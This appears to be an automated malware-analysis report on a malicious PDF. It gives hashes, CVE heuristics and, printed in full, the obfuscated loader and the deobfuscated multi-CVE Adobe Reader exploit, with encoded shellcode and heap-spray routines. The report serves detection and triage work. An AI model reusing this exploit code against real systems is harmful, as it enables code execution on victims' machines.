Malicious PDF — malware analysis report

Static analysis result for SHA-256 b6a31ff14401a5a6…

MALICIOUS

PDF

44.6 KB First seen: 2026-05-08
MD5: 672b50e3816a28df60020c9d08818fcb SHA-1: 42aec8f597180e3ef42c119685b1f503ba4bab39 SHA-256: b6a31ff14401a5a6d6075b7ad6deb2d68422f41e128d7b2e5d74e30b7215169a
408 Risk Score

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 9

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xAFB6 445 bytes
SHA-256: 3747100e6f27922aeb1a08cd9f5dfff345f384f2b319a8a30b7d22ccaadb568c
Preview script
First 1,000 lines of the extracted script
qwe = ('nhsthn','ntrht').substr;
var g = qwe();
t='le';
a=["e","a","n","b","w",'v'];
e=g[a[0]+a[5]+a[1]+t[0]];
nmwz='';
pikmh=('qwrwqr','tit');
e('mni=t'+('qwtwqt','hisundefined').replace(typeof qwe.dagb,'.')+'tit'+t);
uyojz=e('String.fro'+mni.substr(0,9));
cyqa = e(mni.substr(9)['replace'](/u/g,','));
e('k=cyqa.length');
for (i = 0; i < k; i+=2) {
	sjck = cyqa[i+1] + ('erybjkerl',cyqa[i]);
	nmwz += uyojz(sjck);
}
e(nmwz);
legacy_pdfkit_stage_000.js deobfuscated-js metadata title CharCode pair decoded JavaScript at offset 0x37 3648 bytes
SHA-256: ad83061d0c99c9178ff1576057a8fd39add56be9fdae379cdc2845b21a0e5eef
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var bjsg='%u9090%u9090%u16eb%u3ab9%u0001%u8b00%u2434%uf789%u3e80%u74e9%uac06%u5834%ue2aa%uc3fa%ue5e8%uffff%ub1ff%u5954%u5858%ud906%u04b4%u5859%ud158%ud5bf%u4817%u37d5%u690c%u0f83%u0b09%u0b0b%u0b0b%u0b0b%u0b0d%u300b%u595c%u5858%u0e0d%u300b%u3637%u5858%u2d30%u342a%u0c35%ud630%u5616%ub0b4%u5810%u5858%ub008%u5824%u5858%u88a7%u9cdb%u3050%ub717%u5d17%ub008%u5834%u5858%u88a7%u98dd%u4f2d%u0c32%uab01%u30f2%ua62a%u4eeb%u45b0%u5858%u0858%u09b0%u5858%ua758%u0b88%ua632%ud130%u5937%ub0e5%u5850%u5858%ub008%u5864%u5858%u88a7%u6938%u3c98%u08d3%ud368%u540a%u0ad3%ud34c%u702a%u40e1%u5858%u6958%u69a7%uf498%u3964%u5a24%u7874%u9799%u5955%uba9f%ud9a8%u03a7%u12e4%ud332%u481a%u4ad3%u812d%u1cd1%u447c%u9b39%ud338%u7c34%ud37c%u641d%u0cd3%u205d%ub259%u12d3%ud340%u7802%ub359%u6cbb%ud311%ud36c%ub659%ua769%u9869%uf4a4%u98dc%u5f2c%u9799%u5955%ub39f%u63ac%u7c24%u2d70%ud3b9%u7c02%ub359%ud33e%u1354%u02d3%u5944%ud3b3%ud35c%ub059%u1cd1%u447c%u9a39%u5850%ub7b0%ua7a6%u30a7%u2c2c%u6228%u7777%u3c31%u393d%u2c31%u353d%u3176%u3e36%u7737%u763c%u3028%u6728%u653e%u6e69%u3d7e%u6d65%u0058';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}
ra=ra.substring(0,qy/2);return ra;} 
function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} 
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;} 
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});} 
function printf(){nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A");var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape("%u0A0A%u0A0A");headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} 
fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} 
mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} 
var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("%45000f",num);} 
function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} 
var tUMhNbGw=unescape("%09");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} 
tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} 
aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} 
if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}
var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} 
if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}
d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}
a();a();try{this.media.newPlayer(null);}catch(e){}
a();}}

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